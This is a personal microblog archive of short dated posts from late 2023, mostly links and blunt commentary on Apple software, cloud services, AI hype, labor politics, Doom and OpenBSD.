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[1] https://www.youtube.com/watch?v=ZYcHOEjGzPA

╒═════╣▒ 12/25/2023 @15:02 ▒╟──────────┘

«This is really cool»¹. For all you kids out there, this is how the Internet used to be — and frankly could be again. Individuals creating all sorts of neat things just because they want to see it in the world, not some corporate overlord vomiting crap at you to trick you into 'engaging' so they can sell your time.

╒═════╣▒ 12/23/2023 @12:02 ▒╟──────────┘

Sometimes people say I am difficult to shop for.

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[1] https://discussions.apple.com/thread/255287728

╒═════╣▒ 12/22/2023 @09:00 ▒╟──────────┘

│ In-Reply-To: 12/21/2023 @21:05

I ended up having to re-install macOS. So bizarre. Ethernet worked, Wi-Fi would connect and I could access things on the connected network as long as I didn't need to do DNS. I could use dig(1) but the system resolver library wouldn't work. Trying to pass any traffic past the gateway resulted in "No route to host" but route(8) had a valid default route with a valid arp entry. Same for IPV6, route(8) and ndp(8) all looked good, but the damn computer wouldn't route.🤷‍♂️

╒═════╣▒ 12/21/2023 @21:05 ▒╟──────────┘

Of *course* there is an unanswered question with my *exact* problem. Thanks, lazyweb.«https://discussions.apple.com/thread/255287728»¹

╒═════╣▒ 12/20/2023 @18:34 ▒╟──────────┘

Who decided to not include a download size / rate display in the macOS installer? This estimate must be wrong, I am on gigabit fiber not DSL.

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[1] https://www.stonekettle.com/2023/12/fear-hope-and-polling.html

╒═════╣▒ 12/20/2023 @12:24 ▒╟──────────┘

Don't listen. Don't listen to the talking heads, their only interest is rage, fear, and anger because that's what sells advertising copy. That's what makes them rich. Steady on, Folks. Be hopeful instead. Show up and you'll win.*You want a better nation, be a better citizen. *[ emphasis mine ]«https://www.stonekettle.com/2023/12/fear-hope-and-polling.html»¹

╒═════╣▒ 12/20/2023 @12:18 ▒╟──────────┘

I love that DHL gives you a 3 hour delivery window estimate and UPS gives you a **checks notes** *15 hour* delivery window estimate. This is especially lovely in the case of *signature required* packages.

╒═════╣▒ 12/20/2023 @08:50 ▒╟──────────┘

«These are cute»¹ but man when I see people replacing the escape key with gnarly shaped key caps all I can think is "there is someone who uses a *bad* editor".

[1] https://duckeys.com

╒═════╣▒ 12/19/2023 @23:26 ▒╟──────────┘

From the *pass-the-popcorn* department:> [...] think of Worldcom vs Enron. Both bubbles were built on pure fraud, but Enron's fraud left nothing behind but a string of suspicious deaths. By contrast, Worldcom's fraud was a Big Store con that required laying a ton of fiber that is still in the ground to this day, and is being bought and used at pennies on the dollar.> So which kind of bubble is AI? When it pops, will something useful be left behind, or will it go away altogether? Personally, I think we're looking at the Enron/smoking hole/it all ends in tears outcome here.> The problem for AI is that while there are a lot of risk-tolerant applications, they're almost all low-value; while nearly all the high-value applications are risk-intolerant. Once AI has to be profitable – once investors withdraw their subsidies from money-losing ventures – the risk-tolerant applications need to be sufficient to run those tremendously expensive servers in those brutally expensive data-centers tended by exceptionally expensive technical workers.ChatGPT is well funded and broadly adopted by just about any corporation that you care to look at for one reason and one reason only – the promise that they will be able to fire all of their customer service / call center employees. Then their internal help desk employees. And then their training development people.«https://pluralistic.net/2023/12/19/bubblenomics/#pop»¹

[1] https://pluralistic.net/2023/12/19/bubblenomics/#pop

╒═════╣▒ 12/19/2023 @21:16 ▒╟──────────┘

If the space billionares meme isn't enough to get you to read Violet Blue's «Cybersecurity Roundup»¹, I don't know if we can be friends.

[1] https://www.patreon.com/posts/cybersecurity-19-94924039

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╒═════╣▒ 12/19/2023 @17:41 ▒╟──────────┘

It's nice to see some things just work.```

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### ╒═════╣▒ 12/19/2023 @13:10 ▒╟──────────┘
From the *where-can-I-get-one* department:«Steampunk DDC OLED»¹The video of the build is well worth watching.  Dat knurling tho.«https://www.youtube.com/watch?v=TfBQi_peHI4»²

=> https://mitxela.com/projects/steampunk-oled [1] https://mitxela.com/projects/steampunk-oled
=> https://www.youtube.com/watch?v=TfBQi_peHI4 [2] https://www.youtube.com/watch?v=TfBQi_peHI4



### ╒═════╣▒ 12/19/2023 @12:25 ▒╟──────────┘
> «Retoot of Derek Powazek 🐐 (@fraying@xoxo.zone)»¹ by jwz (@jwz@mastodon.social)«Dec 18, 2023 at 23:16»²Twitter's original sin was putting the posting form above the rest of the conversation. When you make people to scroll past your words before getting to the posting form, like on a blog, there's at least a chance they'll read some of them before talking back.Unfortunately, most social media copied Twitter, not blogs, so they're about talking first and listening later (if at all).Interestingly this seems to be an extensions of why I chose 'comments' for my blog to be sent via e-mail instead of posting by a web form.  The harder you make replying the higher quality the replies become.  In the 5+ year history of this incarnation of the blog I have never said '*I wish this comment didn't exist*.'

=> https://xoxo.zone/@fraying/111605146675830148 [1] https://xoxo.zone/@fraying/111605146675830148
=> https://xoxo.zone/@fraying/111605146675830148 [2] https://xoxo.zone/@fraying/111605146675830148



### ╒═════╣▒ 12/16/2023 @22:15 ▒╟──────────┘
I have been against cloud hosted control planes for a while, and have been recommending people get off Ubiquiti for a similar amount of time so nice of them to remind everyone why they are a bad idea...«https://www.404media.co/ubiquiti-users-somehow-being-fed-access-to-strangers-security-cameras/»¹

=> https://www.404media.co/ubiquiti-users-somehow-being-fed-access-to-strangers-security-cameras/ [1] https://www.404media.co/ubiquiti-users-somehow-being-fed-access-to-strangers-security-cameras/



### ╒═════╣▒ 12/14/2023 @19:13 ▒╟──────────┘
What the actual fuck is this shit?  Jesus christ I am increasingly tempted to smash my phone and bury the pieces.

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### ╒═════╣▒ 12/13/2023 @09:24 ▒╟──────────┘
I'm excited for the «upcoming changes to syscalls»¹ in OpenBSD but the real **chefs kiss** is the «snark from Theo»².> "go" required two fixes -- 1) a framework issue withold library versions, and 2) like perl, a fake syscall(2) wrapper to
handle ioctl(2) and sysctl(2) because "syscall(SYS_ioctl" occurs all over
the place in the "go" ecosystem because the "go developers" are plan9-loving
unix-hating folk who tried to build an ecosystem without allowing "ioctl".

=> https://marc.info/?l=openbsd-tech&m=170205367232026&w=2 [1] https://marc.info/?l=openbsd-tech&m=170205367232026&w=2
=> https://marc.info/?l=openbsd-cvs&m=170239504300386&w=2 [2] https://marc.info/?l=openbsd-cvs&m=170239504300386&w=2



### ╒═════╣▒ 12/10/2023 @21:58 ▒╟──────────┘
│ In-Reply-To: 12/10/2023 @20:39
Of course decino is doing an Ultra Violence no saves 100% run ON RELEASE DAY.  You *absolute* mad lad.«https://www.youtube.com/watch?v=bborOfIEdMA»¹

=> https://www.youtube.com/watch?v=bborOfIEdMA [1] https://www.youtube.com/watch?v=bborOfIEdMA



### ╒═════╣▒ 12/10/2023 @21:56 ▒╟──────────┘
I've only briefly played Elite, and only after playing Elite Dangerous.  This is a good look at its unlikely complexity and impact.«https://www.youtube.com/watch?v=lC4YLMLar5I»¹

=> https://www.youtube.com/watch?v=lC4YLMLar5I [1] https://www.youtube.com/watch?v=lC4YLMLar5I



### ╒═════╣▒ 12/10/2023 @20:39 ▒╟──────────┘
"Thanks for playing our games, everybody."It's funny to think that a video game changed the world and the creators of it somehow manage to be the kind of people you could see yourself having a beer with.  It's been a privilege to play your games, John.«https://www.youtube.com/watch?v=QvAkaJsvAXs»¹

=> https://www.youtube.com/watch?v=QvAkaJsvAXs [1] https://www.youtube.com/watch?v=QvAkaJsvAXs



### ╒═════╣▒ 12/07/2023 @22:05 ▒╟──────────┘
Totes a feel.

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### ╒═════╣▒ 12/07/2023 @17:15 ▒╟──────────┘
│ In-Reply-To: 02/08/2022 @10:31
Let this serve as your sorta annual reminder to clean the decaying human out of your computer prepherals.

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### ╒═════╣▒ 12/07/2023 @15:49 ▒╟──────────┘
Stuff «like this»¹ is why I use as few 'cloud' services as possible.  Any time you do *anything* with *someone else's computer* it can be stolen, intercepted, logged, replayed, copied, relayed, and more without your knowledge or consent.  Encryption can't protect you if that encryption is managed by the same people whose computers you are using.

=> https://www.schneier.com/blog/archives/2023/12/spying-through-push-notifications.html [1] https://www.schneier.com/blog/archives/2023/12/spying-through-push-notifications.html



### ╒═════╣▒ 12/07/2023 @13:26 ▒╟──────────┘
> «Toot from Foone🏳️‍⚧️ (@foone@digipres.club)»¹«Dec 6, 2023 at 17:34»²I hate hacker news so much that I'm suspicious of hackaday. They haven't actually done anything to piss me off, it's just that they're on thin ice with that nameFucking *same*, fam.

=> https://digipres.club/@foone/111535853753090176 [1] https://digipres.club/@foone/111535853753090176
=> https://digipres.club/@foone/111535853753090176 [2] https://digipres.club/@foone/111535853753090176



### ╒═════╣▒ 12/05/2023 @10:34 ▒╟──────────┘
Oh this is awesome!I hope Gary would be proud.«https://laughingsquid.com/dungeons-and-dragons-usps-forever-stamps/»¹

=> https://laughingsquid.com/dungeons-and-dragons-usps-forever-stamps/ [1] https://laughingsquid.com/dungeons-and-dragons-usps-forever-stamps/



### ╒═════╣▒ 12/05/2023 @10:13 ▒╟──────────┘
I do *not* want this.  I will *not* use this.  Please stop.«https://www.schneier.com/blog/archives/2023/11/digital-car-keys-are-coming.html»¹

=> https://www.schneier.com/blog/archives/2023/11/digital-car-keys-are-coming.html [1] https://www.schneier.com/blog/archives/2023/11/digital-car-keys-are-coming.html



### ╒═════╣▒ 12/03/2023 @13:56 ▒╟──────────┘
> Incentives matter. Money talks and bullshit walks. Enshittification isn't due to the moral failings of individuals in tech companies. It's possible to have a good internet run by flawed people. But to get that new, good internet, we have to support technologists of good will and character by terrorizing their venal and cynical colleagues by hitting them where they live: in their paychecks.«https://pluralistic.net/2023/11/22/who-wins-the-argument/»¹I still remember losing an argument over injecting ads in NXDOMAIN DNS responses.  It still makes me mad, though the one saving grace is that the company didn't make much money from it and in the end the particular VP whose idea it was 'moved on'.

=> https://pluralistic.net/2023/11/22/who-wins-the-argument/ [1] https://pluralistic.net/2023/11/22/who-wins-the-argument/



### ╒═════╣▒ 12/02/2023 @16:07 ▒╟──────────┘
I'm so glad Kate Welch is involved in this season of The Adventure Zone!


### ╒═════╣▒ 12/02/2023 @14:47 ▒╟──────────┘
The various fundraising beds they put on Wikipedia genuinely makes me wish the foundation goes bankrupt and disappears, that is how onerous they are.  If you worked on them I hope you are ashamed of yourselves.Also, begging when you have a «quarter of a billion dollars in NET assets»¹... is disgusting.

=> https://wikimediafoundation.org/wp-content/uploads/2023/11/Wikimedia_Foundation_FS_FY2022-2023_Audit_Report.pdf [1] https://wikimediafoundation.org/wp-content/uploads/2023/11/Wikimedia_Foundation_FS_FY2022-2023_Audit_Report.pdf



### ╒═════╣▒ 12/01/2023 @11:01 ▒╟──────────┘
> Altman has had a career that any Silicon Valley exec would absolutely kill for, and he hasn’t accomplished a single worthwhile thing. He founded one failed company, ran a factory that bought predatory amounts of equity for virtually nothing from every Stanford dropout with an idea for software to replace something Mommy used to do, then founded a company to build a product that *he himself believes could eventually destroy humanity*.«https://www.todayintabs.com/p/defective-accelerationism»¹via«https://pluralistic.net/2023/11/25/moral-injury/»²

=> https://www.todayintabs.com/p/defective-accelerationism [1] https://www.todayintabs.com/p/defective-accelerationism
=> https://pluralistic.net/2023/11/25/moral-injury/ [2] https://pluralistic.net/2023/11/25/moral-injury/



## November
### ╒═════╣▒ 11/29/2023 @22:51 ▒╟──────────┘
│ In-Reply-To: 10/10/2023 @20:00
I've been watching «John Romero»¹ build the maps for «Sigil 2»² and keeping up with «decino's»³ current play-throughs and it strikes me how impressive it is to have a game that is coming up on 30 years old still have such an active community that almost certainly now spans 3 generations.And people are still pushing the envelope with what id made almost 3 decades ago.

=> https://www.youtube.com/@Romero666/videos [1] https://www.youtube.com/@Romero666/videos
=> https://romero.com/shop/p/sigil2download1 [2] https://romero.com/shop/p/sigil2download1
=> https://www.youtube.com/@decino/videos [3] https://www.youtube.com/@decino/videos


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### ╒═════╣▒ 11/26/2023 @22:41 ▒╟──────────┘
The «Shadowrun game»¹ on «ClubPA»² is so fucking good.  I really wish they'd do a series of it.  I think I'd watch just about anything with Kate Welch in it.

=> https://www.youtube.com/watch?v=5roMzboK_vA [1] https://www.youtube.com/watch?v=5roMzboK_vA
=> https://www.patreon.com/ClubPA [2] https://www.patreon.com/ClubPA



### ╒═════╣▒ 11/26/2023 @21:25 ▒╟──────────┘
As someone who routinely does his best to repair his own equipment and to get as much longevity as possible from his investment I thourghly support a strong set of FTC regulations enshrining the right to repair.  Not only does it make sense from a consumer economic standpoint (as I type this on a laptop from 2015 that I've replaced the keyboard in twice and the battery 3 times), but from an environmental and carbon footprint standpoint.  Every device repaired represents CO₂ not emitted in the manufacture, packaging and shipping of the new product as well as from the disassembly and disposal of the old one.«https://www.404media.co/consumer-rights-groups-petition-government-to-create-formal-rules-protecting-right-to-repair/»¹

=> https://www.404media.co/consumer-rights-groups-petition-government-to-create-formal-rules-protecting-right-to-repair/ [1] https://www.404media.co/consumer-rights-groups-petition-government-to-create-formal-rules-protecting-right-to-repair/



### ╒═════╣▒ 11/24/2023 @18:15 ▒╟──────────┘
While this is nice, the problem of the entire web being funded by Google's monopoly is manifest by the fact that this was not made the default behavior of 'Copy Link...' and instead was made a separate, confusing menu option that almost no one will use.I guarantee if you ask people, most will tell you they don't want to copy tracking parameters, assuming they even understand the question.

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### ╒═════╣▒ 11/21/2023 @22:23 ▒╟──────────┘
Oh please, oh please, *oh please*, let this wake the beast that is the unspeakable legion of copyright attorneys at Disney and let them descend upon Microsoft and other AI companies like waves of unfeeling Storm Troopers.«https://www.404media.co/bing-ai-generated-disney-logos/»¹

=> https://www.404media.co/bing-ai-generated-disney-logos/ [1] https://www.404media.co/bing-ai-generated-disney-logos/



### ╒═════╣▒ 11/20/2023 @19:54 ▒╟──────────┘
│ In-Reply-To: 11/18/2023 @20:41
> The historic contract is already affecting the industry as a whole. Recently, Toyota committed to giving workers a 9 percent raise. Honda will increase wages by 11 percent and Hyundai by 14 percent next year. Sawyer tells *In These Times*, “The CEOs are not used to Shawn Fain. They were accustomed to our former leadership, taking bribes. They weren’t accustomed to anyone fighting for us.”So glad to see the UAW be successful.  Looking forward to April 30, 2028.«https://jacobin.com/2023/11/uaw-members-big-three-autoworkers-strike/»¹

=> https://jacobin.com/2023/11/uaw-members-big-three-autoworkers-strike/ [1] https://jacobin.com/2023/11/uaw-members-big-three-autoworkers-strike/



### ╒═════╣▒ 11/20/2023 @09:08 ▒╟──────────┘
Your periodic reminder that your freedom to speak your hot take is just as important as my freedom to tell you that your hot take is shit.«https://popehat.substack.com/p/our-fundamental-right-to-shame-and»¹

=> https://popehat.substack.com/p/our-fundamental-right-to-shame-and [1] https://popehat.substack.com/p/our-fundamental-right-to-shame-and


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### ╒═════╣▒ 11/19/2023 @22:04 ▒╟──────────┘
I've been playing / watching videos of Doom lately and honestly, I find the pain elementals kinda cute.

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### ╒═════╣▒ 11/18/2023 @21:31 ▒╟──────────┘
> Looking at what the rich spend their money on shows us why “Tax the Rich” is always such a popular political priority: because it would benefit the majority, and everyone knows that people who can outsource the ironing of their shirts will survive a slight hit in lifestyle.Every billionaire is a crime against humanity.«https://jacobin.com/2023/11/tax-the-rich-people-wealth-inequality-luxury-services/»¹

=> https://jacobin.com/2023/11/tax-the-rich-people-wealth-inequality-luxury-services/ [1] https://jacobin.com/2023/11/tax-the-rich-people-wealth-inequality-luxury-services/



### ╒═════╣▒ 11/18/2023 @20:41 ▒╟──────────┘
> “If we are going to truly take on the billionaire class and rebuild the economy so that it starts to work for the benefit of the many and not the few, then it’s important that we not only strike, but that we strike together,”✊❤️✊«https://www.404media.co/uaw-calls-on-workers-to-line-up-massive-general-strike-for-2028-to-defeat-billionaire-class/»¹

=> https://www.404media.co/uaw-calls-on-workers-to-line-up-massive-general-strike-for-2028-to-defeat-billionaire-class/ [1] https://www.404media.co/uaw-calls-on-workers-to-line-up-massive-general-strike-for-2028-to-defeat-billionaire-class/



### ╒═════╣▒ 11/18/2023 @17:15 ▒╟──────────┘
> Apple internally believes its iOS 18, macOS 15, watchOS 11, and tvOS 18 updates next year «will be "ambitious and compelling,"»¹ thanks to major new software features and designs in the works. [...]> While little is known about the specifics, many of the changes are believed to involve generative AI [...]I can't stress enough how a) I don't believe Apple executives actually know what the words "*ambitious*" and "*compelling*" mean and b) uninterested I am in having generative AI in my life at all.

=> https://www.macrumors.com/2023/11/13/apple-says-ios-18-ambitious-compelling/ [1] https://www.macrumors.com/2023/11/13/apple-says-ios-18-ambitious-compelling/



### ╒═════╣▒ 11/17/2023 @23:12 ▒╟──────────┘
> Internal emails obtained by 404 Media from San Francisco mayor London Breed’s office show that one of the main reasons for this is that NHTSA does not have a mechanism for people to easily report unsafe driving by autonomous vehicles. The news highlights the fact that America’s vehicle safety institutions have not thought through all of the potential ramifications of allowing autonomous vehicles on American roads.Maybe, and I could be completely wrong here, but if you are going to permit these murderbots to operate in your city / state you should, you know, provide some *oversight* to protect your citizenry?  Whacky, I know.  Almost like something a government should do.«https://www.404media.co/feds-have-no-idea-how-many-times-cruise-driverless-cars-hit-pedestrians/»¹

=> https://www.404media.co/feds-have-no-idea-how-many-times-cruise-driverless-cars-hit-pedestrians/ [1] https://www.404media.co/feds-have-no-idea-how-many-times-cruise-driverless-cars-hit-pedestrians/



### ╒═════╣▒ 11/17/2023 @17:33 ▒╟──────────┘
Carl Sagan was entirely too smart, too prescient, and too wonderful for this world.  I feel like the last 20 years of computing and the Internet is illustrative of this.  We have been bamboozled.

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### ╒═════╣▒ 11/17/2023 @16:16 ▒╟──────────┘
│ In-Reply-To: 11/02/2023 @20:42
As a follow-on to SBF's conviction Molly White has a «good piece»¹ on all of the... abnormalities that didn't get covered in SBF's (first) trial.  It's wild just how much fraud was^W is going on in the crypto space.  At this point it's pretty much just "how much fraud can we get away with by saying it's not fraud because computers".

=> https://newsletter.mollywhite.net/p/the-stones-left-unturned [1] https://newsletter.mollywhite.net/p/the-stones-left-unturned



### ╒═════╣▒ 11/16/2023 @10:02 ▒╟──────────┘
│ In-Reply-To: 11/12/2023 @23:28
I turned on Lockdown Mode on my iPad and I have not noticed anything changed other than a few notifications from a couple apps about potentially missing web functionality.


### ╒═════╣▒ 11/15/2023 @19:57 ▒╟──────────┘
Just to level set, I hate AR.  I think AR is stupid for 99.9% of use-cases.  I think Apple's upcoming AR stuff is a Sideshow Bob esque field of rakes that a bunch of out of touch billionaires think is a great idea.This shit basically proves it.  Why in the name of all that is holy would you willingly subject yourself to «something like this»¹?

=> https://www.macrumors.com/2023/11/14/telegram-demos-visionos-app/ [1] https://www.macrumors.com/2023/11/14/telegram-demos-visionos-app/


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### ╒═════╣▒ 11/12/2023 @23:28 ▒╟──────────┘
«Toot from jwz»¹:> A little while ago I turned on Lockdown Mode on my iPad and so far have noticed no consequences. This supports my hypothesis that the features that Lockdown Mode disables are features that shouldn't have been implemented in the first place.I have been interested in finding out what the overlap of lockdown mode and my customized settings is.

=> https://mastodon.social/@jwz/111400522875719363 [1] https://mastodon.social/@jwz/111400522875719363



### ╒═════╣▒ 11/10/2023 @19:46 ▒╟──────────┘
Every single time I come across a Hacker News comment I am reminded that unironically reading and commenting on Hacker News should qualify you for an all expenses paid yeeting into the Sun.Also, I miss webshit weekly.


### ╒═════╣▒ 11/10/2023 @09:33 ▒╟──────────┘
«Retoot of Zero Trick Pony (@zerotrickpony@messydesk.social)»¹«Nov 8, 2023 at 21:21»²> Unpopular opinion: advertisers should be delighted with ad blockers. Ad-blockers stop impressions which were unwanted anyway. Every known-unwanted impression that an advertiser pays for is basically fraud. That user didn't want to see it, isn't going to look at it, and is extremely unlikely to convert / act / feel positively about the advertiser if they were forced to see it. Stopping ad blockers is not about advertising, it's about fooling advertisers.«https://www.404media.co/as-youtube-declares-war-on-ad-blockers-google-sponsors-ad-blocking-conference/»³Never thought of it this way but it makes sense, no one wants to pay to advertise to someone who will never be interested, but the ad-tech companies do very much want to be paid to advertise to as many people as possible whether they want it or not.

=> https://messydesk.social/@zerotrickpony/111378201106265276 [1] https://messydesk.social/@zerotrickpony/111378201106265276
=> https://messydesk.social/@zerotrickpony/111378201106265276 [2] https://messydesk.social/@zerotrickpony/111378201106265276
=> https://www.404media.co/as-youtube-declares-war-on-ad-blockers-google-sponsors-ad-blocking-conference/ [3] https://www.404media.co/as-youtube-declares-war-on-ad-blockers-google-sponsors-ad-blocking-conference/



### ╒═════╣▒ 11/09/2023 @22:54 ▒╟──────────┘
The advances of state level protections being enshrined after Dobbs. 597 «U.S.»¹ ___ is just the latest black mark that ensures that the Court under Roberts is wildly unlikely to be well-regarded by history.  Small consolation in the face of the massive corruption and utter disconnect from reality currently plaguing the highest court in the US but at least a small amount of schadenfreude  to enjoy while the Republic wilts under the tyranny of mediocrity and greed that is plaguing it. 

=> https://en.m.wikipedia.org/wiki/United_States_Reports [1] https://en.m.wikipedia.org/wiki/United_States_Reports



### ╒═════╣▒ 11/07/2023 @13:43 ▒╟──────────┘
I find it really mind-boggling how Apple Music will just randomly lose its mind duplicating tracks.  I'd be less shocked if it wasn't always for things I purchased from the iTunes store.  The 2/3rds of my collection that I've encoded from CDs always seem fine, it's the purchased content that keeps doing weird things.Funniest part is that I convinced myself to buy stuff from iTMS because I figured it would be *less* of a hassle instead of *more*.


### ╒═════╣▒ 11/06/2023 @20:08 ▒╟──────────┘
I am looking forward to adblockers getting the ability to block "AI" bullshit.


### ╒═════╣▒ 11/06/2023 @11:59 ▒╟──────────┘
«https://tech.lgbt/@chrisisgr8/111359545610778911»¹> silicon valley VCs' best ideas of the 2020s:-put a drone on something-wrongness generator 3000 (uses more energy than a small nation)-fraud-space pollution-self-crashing cars-an app that is actually criminally underpaid workers in another country-an app that is actually criminally underpaid workers in this country-fascism-vrchat but it cost 20x to make and it fucking sucks-layoffsDon't forget "feudalism, now with *computers*!"

=> https://tech.lgbt/@chrisisgr8/111359545610778911 [1] https://tech.lgbt/@chrisisgr8/111359545610778911



### ╒═════╣▒ 11/02/2023 @21:41 ▒╟──────────┘
│ In-Reply-To: 11/02/2023 @20:42
Molly's substack has «all her coverage»¹ of the trial and they're quite good if you don't know what I'm talking about.«Her Youtube»² has several livestreams of her brain dump of being in the courthouse to experience most of SBF's testimony and oh buddy is it worth watching.

=> https://newsletter.mollywhite.net/s/the-ftx-files [1] https://newsletter.mollywhite.net/s/the-ftx-files
=> https://www.youtube.com/@molly0xfff [2] https://www.youtube.com/@molly0xfff



### ╒═════╣▒ 11/02/2023 @20:44 ▒╟──────────┘
│ In-Reply-To: 11/02/2023 @20:42
Yeah, that is what I thought...

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### ╒═════╣▒ 11/02/2023 @20:42 ▒╟──────────┘
I don't think I need chicken entrails to know that this is unlikely to be a good sign for the crypto bros...

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## October
### ╒═════╣▒ 10/28/2023 @18:33 ▒╟──────────┘
Step one of being a better citizen...

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### ╒═════╣▒ 10/26/2023 @20:46 ▒╟──────────┘
It's *hard* to want to join Mastodon when *every single post* seems to be absolutely rife with reply-guy bullshit.  Like what is the value prop if the 'town square' is just *chock-a-block* with fedoras?  Self flagellation in hopes of some notoriety?  No thanks.


### ╒═════╣▒ 10/24/2023 @20:19 ▒╟──────────┘
If you are typing a message that contains "*I'm sure you thought of this already, but I'll mention it because I'm very smart.*" either explicitly or implicitly, might I suggest typing one of the following instead:Thank you.


### ╒═════╣▒ 10/22/2023 @21:40 ▒╟──────────┘
I see blog articles with titles like "How Cloudflare mitigated yet another Okta compromise", and think to myself "thank God I don't trust the cloud^W other people's computers."


### ╒═════╣▒ 10/22/2023 @14:09 ▒╟──────────┘
Good news, last machine successfully upgraded to Debian 12.  Bad news, OwnCloud has decided to «continue developing for an EOSL version of PHP»¹.Now I need to replace OwnCloud.  Frankly this has been coming for a while, they seem to be trying to pivot to a commercial product instead of developing open source software. 😞

=> https://central.owncloud.org/t/announcement-owncloud-10-and-php-versions/40251 [1] https://central.owncloud.org/t/announcement-owncloud-10-and-php-versions/40251



### ╒═════╣▒ 10/21/2023 @23:01 ▒╟──────────┘
Re: «this»¹, I think visor Geordi is best Geordi.

=> https://mastodon.social/@nocontexttrek/111272936877821825 [1] https://mastodon.social/@nocontexttrek/111272936877821825


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### ╒═════╣▒ 10/19/2023 @09:19 ▒╟──────────┘
> «Retoot of Tom Eastman (@tveastman@cloudisland.nz) by Rusty Hodge [SomaFM] (@SomaFMrusty@defcon.social)»¹The only ethical answer to "please disable your ad blocker" is "go fuck yourself"... and then close the browser tab.

=> https://cloudisland.nz/@tveastman/111248269458047483 [1] https://cloudisland.nz/@tveastman/111248269458047483



### ╒═════╣▒ 10/18/2023 @21:11 ▒╟──────────┘
Watch this: «DEF CON 31 - An Audacious Plan to Halt the Internet's Ensh*ttification - Cory Doctorow»¹Go read «Red Team Blues»².«Seize the means of computation»³ ✊

=> https://www.youtube.com/watch?v=rimtaSgGz_4 [1] https://www.youtube.com/watch?v=rimtaSgGz_4
=> https://us.macmillan.com/books/9781250865847/red-team-blues [2] https://us.macmillan.com/books/9781250865847/red-team-blues
=> https://www.versobooks.com/products/3035-the-internet-con [3] https://www.versobooks.com/products/3035-the-internet-con



### ╒═════╣▒ 10/18/2023 @19:38 ▒╟──────────┘
Dear Apple, Please let me remove the voice note button from the text message compose screen. I assure you I will never ever want it.Whoever thought it was good UX is bad at their job and should be ashamed.

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### ╒═════╣▒ 10/18/2023 @14:01 ▒╟──────────┘
«https://wilwheaton.tumblr.com/post/731534069943402496»¹

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### ╒═════╣▒ 10/17/2023 @16:23 ▒╟──────────┘
PROTIP: Naming something (or someone) /[a-zA-Z][0-9]{1,}[a-zA-Z]/, is *desperately* lame...


### ╒═════╣▒ 10/16/2023 @22:02 ▒╟──────────┘
«*Eurobeat Intensifies*»¹

=> https://blog.jlist.com/your-friend-in-japan/can-mf-ghost-recapture-the-magic-of-initial-d/ [1] https://blog.jlist.com/your-friend-in-japan/can-mf-ghost-recapture-the-magic-of-initial-d/


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### ╒═════╣▒ 10/14/2023 @20:46 ▒╟──────────┘
Yo-Yo Ma is a goddamn *treasure*.I will fight you if you disagree because you are *wrong*.«https://www.youtube.com/watch?v=Rx_IibJH4rA»¹«via»²

=> https://www.youtube.com/watch?v=Rx_IibJH4rA [1] https://www.youtube.com/watch?v=Rx_IibJH4rA
=> https://kottke.org/23/10/yo-yo-ma-plays-bachs-cello-suite-no-1-in-the-great-smoky-mountains [2] https://kottke.org/23/10/yo-yo-ma-plays-bachs-cello-suite-no-1-in-the-great-smoky-mountains



### ╒═════╣▒ 10/14/2023 @10:14 ▒╟──────────┘
I switched iTerm's font to «B612»¹ Mono and it is *SO MUCH MORE READABLE* than Inconsolata.

=> https://b612-font.com [1] https://b612-font.com



### ╒═════╣▒ 10/12/2023 @20:09 ▒╟──────────┘
> You can support and criticize Israel and the Palestinians both without engaging in apologia for terrorism.Because there is no justification for barbarism. Full stop. No matter how righteously aggrieved any people might be, no matter how oppressed, no matter how wronged, there is no justification for the murder and rape and kidnapping of innocents. You don't have to pick a side to stand against that. You don't have to pick a side in order to offer support and sincere sympathy and aid. «https://www.stonekettle.com/2023/10/sides.html»¹

=> https://www.stonekettle.com/2023/10/sides.html [1] https://www.stonekettle.com/2023/10/sides.html



### ╒═════╣▒ 10/10/2023 @20:00 ▒╟──────────┘
I just finished reading «DOOM Guy: Life in First Person by John Romero»¹, it was *well* worth the read and was unexpectedly emotional. 

=> https://romero.com/shop/p/doomguy [1] https://romero.com/shop/p/doomguy



### ╒═════╣▒ 10/01/2023 @20:55 ▒╟──────────┘
How is it that a cooking Youtube channel can amaze me and make me cry?  Merde!«https://www.youtube.com/@FrenchGuyCooking»¹

=> https://www.youtube.com/@FrenchGuyCooking [1] https://www.youtube.com/@FrenchGuyCooking



## September
### ╒═════╣▒ 09/27/2023 @14:27 ▒╟──────────┘

	*cackling**«https://www.youtube.com/watch?v=gnEIeVWLtbU»¹(«via»²)


=> https://www.youtube.com/watch?v=gnEIeVWLtbU [1] https://www.youtube.com/watch?v=gnEIeVWLtbU
=> https://www.dnalounge.com/webcast/popup.cgi?playlist=PLyALKMPGOR5dHR9OSGiK9oh7GI1nAYoCu&title=jwz%20mixtape%20239 [2] https://www.dnalounge.com/webcast/popup.cgi?playlist=PLyALKMPGOR5dHR9OSGiK9oh7GI1nAYoCu&title=jwz%20mixtape%20239



### ╒═════╣▒ 09/23/2023 @13:26 ▒╟──────────┘
I guess the direction from product management at Apple is to make *everything* harder.  Want to attach a photo to a text message? Now it's buried in a menu instead of on the message screen.  Want to accidentally start recording a voice memo like some heathen boomer?  *WE GOT YOU FAM.* Want to set a timer on your watch, oh, we've buried that behind a menu as well.  While we were at it we made one of the buttons on the watch essentially useless and where we had that functionality before we've turned into a completely pointless set of screens that has like 5 ways to accidentally summon.How about a bunch of animations so navigating anything takes longer too?It's like they hate the idea of people ever enjoying themselves while using the things they make.Remember 30 years ago when Apple cared deeply about their stuff always doing the right thing in the most obvious way?


### ╒═════╣▒ 09/22/2023 @23:23 ▒╟──────────┘
> «Toot from Infoseepage (@Infoseepage@mastodon.social)»¹«@foone»² It sometimes feels like instead of creating an age where everything is digital and the bits can be preserved for all time, we are entering an era where everything digital is ephemeral to an absurd degree. The future might come to view the present as a sort of digital dark age, where the vast majority of cultural output is irretrievably lost.2023-09-22 @21:09My sweet summer child, if you have a file and it contains anything other than ASCII characters stored as a collection of single octets ranging from 0x00 to 0x7F, and you have not copied it to your very newest computer from whatever archaic media it might be on (even a 3 year old USB 2 thumb drive is archaic in this hell scape of a timeline), there is a 50% chance that it is gone and you will never be able to read it again.

=> https://digipres.club/@Infoseepage@mastodon.social/111110809278674610 [1] https://digipres.club/@Infoseepage@mastodon.social/111110809278674610
=> https://digipres.club/@foone [2] https://digipres.club/@foone



### ╒═════╣▒ 09/21/2023 @20:53 ▒╟──────────┘
What auspicious timing, I got my updated bivalent jab today and am rewarded with the latest roundup from Violet Blue.«https://www.patreon.com/posts/pandemic-roundup-89603560»¹

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### ╒═════╣▒ 09/21/2023 @18:18 ▒╟──────────┘

	Always* support labor. ✊«https://pluralistic.net/2023/09/21/eight-and-skate/»¹


